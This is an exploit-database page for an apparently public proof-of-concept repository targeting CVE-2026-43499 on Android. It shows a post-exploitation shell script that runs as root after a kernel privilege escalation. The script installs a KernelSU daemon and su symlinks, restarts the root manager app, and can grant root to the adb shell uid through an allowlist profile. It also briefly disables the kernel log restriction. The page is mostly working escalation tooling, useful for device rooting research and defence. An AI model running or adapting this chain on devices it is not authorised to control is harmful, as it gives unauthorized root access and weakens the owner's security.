Exploit database

GH-7d1759469adaacd6cb6ef41c6fb3d109

repobor/ghostlock-cve-2026-43499-4.19-thyme

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

sukisu/ksu-setup.sh

Shell · 7,311 bytes
#!/system/bin/sh
# ksu-setup.sh - post-load setup for SukiSU Nova, run as uid 0 by
# "gl12 sukisu <ko> <this-script> [manager.apk]" AFTER the kernel module is
# already loaded.
#
# The module's late-load init has by now scanned /data/system/packages.list
# (the loader ran with CAP_DAC_OVERRIDE) and crowned the installed official
# manager by its APK signature.  All that is left is userspace: install ksud
# from the manager APK, wire /data/adb, restart the manager so its Magica
# preload runs with the driver already loaded.
#
# Two things this stage does differently from a naive script:
#   - the ksud lib name is discovered instead of hardcoded (35000 ships
#     liblaapkjdiji.so, the older 30000 libmtcytvztgb.so);
#   - launching waits for user 0 to be unlocked.  While the phone sits on the
#     lockscreen the user is RUNNING_LOCKED (FBE/Direct Boot), and then *no*
#     third-party activity resolves: am start answers "does not exist" and
#     monkey "No activities found".  That is not a module problem.
set -u
MGR=com.sukisu.nova
KSD=/data/adb/ksud
say() { echo "[ksu-setup $(date +%H:%M:%S)] $*"; }

say "uid=$(id -u) ctx=$(cat /proc/self/attr/current 2>/dev/null) se=$(getenforce 2>/dev/null)"

if ! grep -q '^kernelsu ' /proc/modules 2>/dev/null; then
    say "kernelsu module is NOT loaded - nothing to set up"
    exit 1
fi
say "module: $(grep '^kernelsu ' /proc/modules)"

APKP=$(pm path $MGR 2>/dev/null | sed 's/^package://' | head -1)
if [ -z "$APKP" ]; then
    say "manager $MGR is not installed - install the official SukiSU Nova APK first"
    exit 1
fi
say "apk=$APKP"

# ksud ships as the largest arm64 native lib inside the manager APK.
LIB=$(unzip -l "$APKP" 2>/dev/null | awk '$4 ~ /^lib\/arm64-v8a\/.*\.so$/ {print $1" "$4}' \
      | sort -nr | head -1 | awk '{print $2}')
if [ -z "$LIB" ]; then
    say "no arm64 lib found in the APK"
    exit 1
fi
say "ksud lib=$LIB"

mkdir -p /data/adb/ksu/bin || { say "mkdir /data/adb/ksu/bin failed"; exit 1; }
if ! unzip -p "$APKP" "$LIB" > "$KSD"; then
    say "ksud extraction failed"
    exit 1
fi
chmod 755 "$KSD"
ln -sf "$KSD" /data/adb/ksu/bin/ksud
ln -sf "$KSD" /data/adb/ksu/bin/resetprop
# Same layout as an on-boot install.  The kernel's sucompat rewrites execve of
# /system/bin/su (and the faccessat that precedes mksh's PATH search) to
# /data/adb/ksud, so this symlink is for `ksud su` / direct invocations, not a
# requirement - and root is only granted to uids the manager allowlists.
ln -sf "$KSD" /data/adb/ksu/bin/su
say "ksud: $("$KSD" --version 2>&1 | head -1)"

# Resolution only works once user 0 has left Direct Boot.  Poll instead of
# assuming: the exploit is usually fired over adb with the phone still locked.
comp=""
i=0
while [ $i -lt 15 ]; do
    comp=$(cmd package resolve-activity --brief -a android.intent.action.MAIN \
           -c android.intent.category.LAUNCHER -p $MGR 2>/dev/null | tail -1)
    case "$comp" in
        */*) break ;;
    esac
    comp=""
    i=$((i + 1))
    sleep 2
done

if [ -z "$comp" ]; then
    say "manager activity is not resolvable: user 0 is probably still LOCKED (Direct Boot)"
    say "unlock the phone, then tap the SukiSU Nova icon - the module is already loaded"
else
    say "component=$comp"
    # The instance that may be running now was started before the module
    # existed; give it a fresh process so the preload finds the driver.
    am force-stop $MGR >/dev/null 2>&1
    sleep 1
    am start -n "$comp" >/dev/null 2>&1
    sleep 5
    ap=$(pidof $MGR 2>/dev/null)
    say "app_pid=${ap:-<none>}"
    [ -z "$ap" ] && say "manager did not come up: unlock the phone and tap the SukiSU Nova icon"
fi

# Root self-test, opt-in with `adb shell touch /data/local/tmp/selftest`.
# It runs *inside* the one escalation this boot gets, so it costs nothing extra:
# the point is to prove the privilege is real (euid 0 on a root-only path) and
# that ksud can talk to the driver, not just that the shell printed "uid=0".
# The allowlist grant below is the only thing that changes device policy, and it
# lives in kernel memory: rebooting is what undoes it (there is no revoke
# command here; see docs/06 §10.5).
if [ -f /data/local/tmp/selftest ]; then
    say "== root self-test =="
    # Not plain `id`: cred here is init_cred, whose gid this exploit left holding
    # a kernel pointer (docs/00 known side effect, a different value each boot),
    # and toybox id aborts when it cannot resolve that number - -g included, it
    # still looks the name up.  The numeric gid comes from /proc/self/status.
    say "id: uid=$(id -u 2>&1) gid=$(awk '/^Gid:/{print $2}' /proc/self/status)"
    say "ctx=$(cat /proc/self/attr/current 2>/dev/null)"
    # /data/adb/ksu is 0700 root: an euid-0 process gets in, uid 2000 does not
    if mkdir -p /data/adb/ksu/.selftest 2>/dev/null && rmdir /data/adb/ksu/.selftest 2>/dev/null; then
        say "root-only path /data/adb/ksu: writable"
    else
        say "root-only path /data/adb/ksu: NOT writable"
    fi
    say "ksud --version: $("$KSD" --version 2>&1 | head -1)"
    # How much this script can do depends on how it was started.  In this
    # repo's gl12 the credential swap (-> init_cred) leaves full capabilities
    # and the script runs in a forked child, so the capability-gated items
    # below work.  In the self-exec variant (same project, branch poc-selfroot)
    # gl12 calls setresuid(0) itself, which resets cap_effective to 0: there
    # the same items fail with EACCES even though uid is 0, and the manager's
    # own root shell (ksud debug su) is the working path.
    say "caps: $(grep -E '^Cap(Prm|Eff)' /proc/self/status | tr '\n' ' ')"
    say "ksud module list (needs caps): $("$KSD" module list 2>&1 | head -3 | tr '\n' ' ')"
    say "feature mount_hide=$("$KSD" feature check mount_hide 2>&1 | tr -d '\n')" \
        "avc_spoof=$("$KSD" feature check avc_spoof 2>&1 | tr -d '\n')"
    # Grant root to the adb shell uid exactly the way the manager's UI does:
    # `temporary-root apply` forks, setresuid(10273) and then issues
    # SET_APP_PROFILE, so the kernel's only_manager() check passes.  That
    # setresuid needs CAP_SETUID: present here only in the credential-swap
    # variant of gl12 (see the caps note above).
    say "allowlist shell(2000) (needs caps): $("$KSD" temporary-root apply 10273 keep false \
'{"name":"shell","currentUid":2000,"allowSu":true,"rootUseDefault":true,"rootTemplate":null,"uid":0,"gid":0,"groups":[],"capabilities":[],"context":"u:r:ksu:s0","namespace":0,"nonRootUseDefault":true,"umountModules":false,"rules":"","flags":1}' 2>&1)"
fi

# After setresuid(0) this shell has uid 0 but cap_effective == cap_permitted ==
# 0, so klogctl() is refused while dmesg_restrict is 1.  The sysctl is
# root-owned 0644, so uid 0 can open it without any capability; restore it
# right after the read.  Output goes to gl12.out, which run.ps1 prints.
say "dmesg tail:"
if [ -w /proc/sys/kernel/dmesg_restrict ]; then
    dr=$(cat /proc/sys/kernel/dmesg_restrict 2>/dev/null)
    echo 0 > /proc/sys/kernel/dmesg_restrict 2>/dev/null
    dmesg 2>/dev/null | grep -iE "KernelSU|ksu" | tail -12
    [ -n "$dr" ] && echo "$dr" > /proc/sys/kernel/dmesg_restrict 2>/dev/null
else
    say "dmesg_restrict is not writable here; kernel log needs a pstore dump"
fi
say "done"